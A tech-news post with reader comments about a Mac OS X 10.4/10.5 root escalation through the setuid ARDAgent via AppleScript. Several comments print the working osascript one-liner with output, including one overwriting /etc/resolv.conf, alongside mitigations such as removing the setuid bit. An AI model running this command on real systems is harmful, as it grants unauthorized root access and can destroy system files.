Mac OS X Root Escalation Through AppleScript

An anonymous reader writes "Half the Mac OS X boxes in the world (confirmed on Mac OS X 10.4 Tiger and 10.5 Leopard) can be rooted through AppleScript: osascript -e 'tell app "ARDAgent" to do shell script "whoami"'; Works for normal users and admins, provided the normal user wasn't switched to via fast user switching. Secure? I think not." On the other hand, since this exploit seems to require physical access to the machine to be rooted, you might have some other security concerns to deal with at that point, like keeping the intruder from raiding your fridge on his way out.

Comments

ARDAgent is Apple Remote Desktop

[dch24]

ARD = Apple Remote Desktop You can remove it by following these instructions.

Re:Physical access?

[Medieval_Gnome]

This does not work over ssh, at least not if you user isn't also logged in physically to the machine. If you try over ssh, it gives the error

_RegisterApplication(), FAILED TO establish the default connection to the WindowServer, _CGSDefaultConnection() is NULL.

However, it does work if you have a remote desktop view into a machine.

Re:Only need a shell....

[pudge]

Many people have sshd running as well, so it doesn't quite have to be local. Just need a shell.

Verified, on my Leopard box. SSH'ed to it and rooted it (I was able to touch a file in a root-only directory)

Nope. You cannot do it via SSH unless that account is already logged in physically, at the console.

[pudge@bourque ~]$ ls -l /etc/test1
ls: /etc/test1: No such file or directory
[pudge@bourque ~]$ touch /etc/test1
touch: /etc/test1: Permission denied
[pudge@bourque ~]$ osascript -e 'tell app "ARDAgent" to do shell script "touch /etc/test1"'
[pudge@bourque ~]$ ls -l /etc/test1
-rw-rw-rw- 1 root wheel 0 Jun 18 11:27 /etc/test1

versus:

[pudge@bourque ~]$ ssh maintenance@localhost
bourque:~ maintenance$ ls -l /etc/test2
ls: /etc/test2: No such file or directory
bourque:~ maintenance$ touch /etc/test2
touch: /etc/test2: Permission denied
bourque:~ maintenance$ osascript -e 'tell app "ARDAgent" to do shell script "touch /etc/test2"'
_RegisterApplication(), FAILED TO establish the default connection to the WindowServer, _CGSDefaultConnection() is NULL.

Re:Quick Question

[Charles Dodgeson]

I've got it to run destructive things as an ordinary user without any need for authentication beyond being logged in

% osascript -e 'tell app "ARDAgent" to do shell script "echo Nasty Content > /etc/resolv.conf"' % cat /etc/resolv.conf
Nasty Content

Recipe for neutralizing it

[goombah99]

Here's a non-destructive way to neutralize it.

cd /System/Library/CoreServices/RemoteManagement/

sudo tar -czf ARDAgent.app.gz ARDAgent.app

sudo chmod 600 ARDAgent.app.gz

This simply hides it in an unreadable tarball.

Re:Recipe for neutralizing it

[patrick42]

Or more simply:

chmod u-s /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent

After doing that, I get:

patrick@picasso:~$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
patrick

(Repairing permissions will probably reset this though.)

Re:Recipe for neutralizing it

[Kadin2048]

No, GP was correct. On Mac OS X, ".app" means an application bundle ... which is a directory, not a file.

If you try to gzip an application bundle without putting it in a tarball first, you'll just get a "foo.app/ is a directory; ignored" error.

It's confusing because the Finder doesn't treat application bundles like normal directories, but that's what they are to the filesystem and *nix utilities.

Fix using Info.plist

[jediknil]

This may have come too late in the comments for anyone to see it, but if the exploit is active on your system, adding a key to ARDAgent's Info.plist makes the problem go away without disabling ARDAgent altogether. (Whether or not ARDAgent is a security vulnerability itself is another story.)

<key>NSAppleScriptEnabled</key>
<string>YES</string>

That "YES" is not a typo; setting it to "NO" does not fix the problem. AFAICT this makes osascript expect that ARDAgent will implement more of its own AppleScript handlers...which of course, it doesn't.

P.S. I searched for other, similar problem setuid apps, and turned up check_afp.app (which someone else posted already) and, surprisingly, GoogleUpdaterInstaller. Fortunately, even though these apps run setuid, they won't respond to the "do shell script" attack.